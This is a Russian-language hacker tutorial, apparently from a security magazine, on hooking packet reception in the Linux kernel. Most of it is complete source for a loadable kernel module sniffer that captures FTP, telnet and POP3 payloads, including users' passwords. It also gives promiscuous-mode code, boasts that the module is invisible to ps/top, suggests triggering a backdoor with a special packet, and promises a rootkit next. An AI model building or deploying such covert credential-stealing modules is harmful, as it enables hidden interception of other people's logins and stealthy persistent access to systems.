Получение и отправление сетевых пакетов в ядре.

Существует несколько способов посылать и принимать пакеты в ядре. Например, используя возможности встроенного firewall’а. Но лично мне больше нравится метод инсталяции своего packet handler’а (обработчика пакетов). Когда ядро принимает пакет, оно просматривает список обработчиков пакетов и вызывает их, передавая им пакет. Чтобы получать таким образом пакеты нужно написать свою функцию (обработчик пакетов) и «попросить» ядро вызывать эту функцию каждый раз, когда приходит новый пакет. «Попросить» об этом ядро можно функцией dev_add_pack. Функция-обработчик может иметь любое название, возвращать int и должна принимать три аргумента: указатели на структуры sk_buff , net_device и packet_type. Например вот так:

int nethook(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)
{
//
тут, внутри функции, анализируем пакет и делаем нужные дела

//когда закончили, освобождаем пакет функцией kfree_skb
kfree_skb(skb);

return 0;
}

Структура sk_buff описана в /usr/src/linux/include/linux/skbuff.h (и копия в /usr/include/linux/skbuff.h). Структуры net_device и packet_type описаны в /usr/include/linux/include/netdevice.h Функция dev_add_pack также описана в /usr/include/linux/include/netdevice.h.

Функция dev_add_pack принимает один аргумент — указатель на структуру packet_type.

struct packet_type
{
unsigned short type; /* This is really htons(ether_type). */
struct net_device *dev; /* NULL is wildcarded here */
int (*func) (struct sk_buff *, struct net_device *, struct packet_type *);
void *data; /* Private to the packet type */
struct packet_type *next;
};

func — указатель на на нашу функцию, обработчик пакетов (nethook).
dev — указатель на структуру содержащую инфу о сетевом интерфейсе (сетевой карте, модеме, etc). Нашей функции будут передаваться пакеты только с этого интерфейса. Если указатель равен NULL, то нам будут передаваться все пакеты со всех устройств.
type — тип пакетов которые нам будут передаваться: ETH_P_ARP — все ARP пакеты, ETH_P_IP — все IP пакеты, ETH_P_ALL — абсолютно все пакеты, и т.д.

Когда мы хотим получать пакеты, мы просто заполняем переменную типа packet_type и вызываем функцию dev_add_pack, передавая ей указатель на нашу переменную. Например так:

struct packet_type pt;
pt.func = nethook;
pt.dev = NULL;
pt.type = htons(ETH_P_ALL);
dev_add_pack(&pt);

Теперь каждый раз, когда будет появляться новый пакет, будет вызываться наша функция nethook. В ней мы будем анализировать пакет. Например, если пакет послан на порт 21 и содержит данные (установлен push флаг), то это пересылаются команды от пользователя к FTP серверу. В этих данных будет логин и пароль, а также команды на удаление/перемещения файлов и т.д. Записывая эти данные мы получим самый настоящий сниффер. 🙂 Преимущества такого LKM сниффера — невозможно обнаружить с помощью ps/top и т.д. и т.п. и etc. 🙂

Также можно будет удаленно запускать backdoor с помощью специального пакета. Как запускать user-land проги из ядра описывалось в предыдущей части. А вообще, и весь backdoor можно тоже закодить в ядре… 😉

Когда нам надоело слушать пакеты, мы можем вызвать dev_remove_pack(&pt), и тогда ядро перестанет вызывать наш packet handler.

Если ты хочешь сниффить на каком-то конкретном девайсе, то перед тем, как вызывать dev_add_pack, надо сначала проинициализировать структуру содержащую инфу о девайсе с помощью функции dev_get_by_name:

pt.dev = dev_get_by_name(«eth0»);

Но не забудь вызвать dev_put(pt.dev); когда твой модуль будет выгружаться и когда комп будет выключаться, а то ядро скажет что девайс still in use и не выключится!

Для того, чтобы кинуть девайс в promiscouos mode (прием всех пакетов, даже тех которые не для нас) можешь юзать примерно такой код:

struct ifreq ifr;
struct net_device dev;
char *device = «eth0»;

dev = dev_get_by_name(device);
strcpy(ifr.ifr_name, device);
ifr.ifr_flags |= IFF_PROMISC;
dev->do_ioctl(dev, &ifr, SIOCSIFFLAGS);

А вот и пример простенького сниффира в ядре 🙂 

/*
Simple Kernel Sniffer by Alekz Under (skleroz@pisem.net)
*/

#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/config.h>

// многие из этих инклудов не особо нужны… 🙂
#include <linux/smp_lock.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <linux/net.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/inet.h>
#include <linux/netdevice.h>
#include <linux/etherdevice.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <net/ip.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/route.h>
#include <net/sock.h>
#include <net/arp.h>
#include <net/raw.h>
#include <asm/uaccess.h>
#include <endian.h>
#include <byteswap.h>

// определяем byte order и дефайним ntohs/etc функции
#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x) (x)
#define ntohs(x) (x)
#define htonl(x) (x)
#define htons(x) (x)
#elif __BYTE_ORDER == __LITTLE_ENDIAN
#define ntohl(x) __bswap_32 (x)
#define ntohs(x) __bswap_16 (x)
#define htonl(x) __bswap_32 (x)
#define htons(x) __bswap_16 (x)
#else
#error «error: could not identify byte order.»
#endif

int nethook_state = 0;
struct packet_type nethook_pt;

// интересующие нас порты ftp, telnet & pop3. 0 в конце обязательно
int portz[] = { 21, 23, 110, 0 };

// наш packet handler — нос которым мы снифаем 😉
int nethook(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)
{
int i;
char data[1500];
/*
skb->pkt_type может быть равным:
PACKET_OUTGOING — пакет послан нами в сеть
PACKET_HOST — пакет для нашего компа
PACKET_OTHER — пакет друго компа для другого компа

Стуктура sk_buff довольно сложная и работать с ней нужно аккуратно!
*/

// фильтруем неинтересные пакеты
if(ntohs(skb->protocol) != ETH_P_IP)
goto end; //не IP пакет — не интересно
if(skb->nh.iph->protocol != IPPROTO_TCP)
goto end; //не TCP пакет — не интересно

// устанавливаем правильный указатель на TCP header (заголовок)
skb->h.th = (struct tcphdr *)skb->nh.iph;
(void*)skb->h.th += (skb->nh.iph->ihl << 2);

// интересует ли нас этот порт?
for(i=0; portz[i]; i++)
{
if(ntohs(skb->h.th->dest) == portz[i])
{
//
есть ли в пакете payload?
if(skb->h.th->psh)
{
//
печатаем на экран и в лог команды юзера, в том числе пароли! 🙂
sprintf(data, «%s», (char*)skb->h.th + skb->h.th->doff * 4);
printk(«%s\n», data);
}

goto end;
}
}

end:

kfree_skb(skb);
return 0;
}

void nethook_on(char *device, char promisc)
{
struct net_device * dev = NULL;

if(nethook_state == 0)
{
if(device) { dev = dev_get_by_name(device); }
nethook_pt.type = htons(ETH_P_ALL); /* IP/ARP/ALL/etc */
nethook_pt.func = nethook;
nethook_pt.dev = dev;

dev_add_pack(&nethook_pt);
nethook_state = 1;
}
}

void nethook_off()
{
if(nethook_state == 1)
{
if(nethook_pt.dev) { dev_put(nethook_pt.dev); }
dev_remove_pack(&nethook_pt);
nethook_state = 0;
}
}

int init_module()
{
nethook_on(NULL, 0); //NULL, «eth0», «ppp0», etc…
return 0;
}

void cleanup_module()
{
nethook_off();
}

Компилируем так: gcc sniff.c -c -I /usr/src/linux/include/ 

Этот сниффер очень простой — печатает данные на консоль и в /var/log/messages, не кладет девайс в promiscouos mode и т.д. Его фильтрующий код можно значительно улучшить. Например, можно добавить некоторые интересные идеи из обычных, уже существующих user-land снифферов. Пароли лучше печатать не на экран, а сохранять в файл с помощью функции write_to_file, которая была показана в предыдущих примерах.

В следующий раз я покажу как собрать все эти фишки в одну и сделать полезный Rootkit.
Если у тебя есть какие-то вопросы — пиши на емыл
skleroz@pisem.net.

Good luck,
Alekz.

Оставить мнение

Check Also

Брутфорс в английской глубинке. Как криптостойкие шифры вскрывали до компьютеров

Ты наверняка слышал про тест Тьюринга и, возможно, машину Тьюринга. Однако помимо абстракт…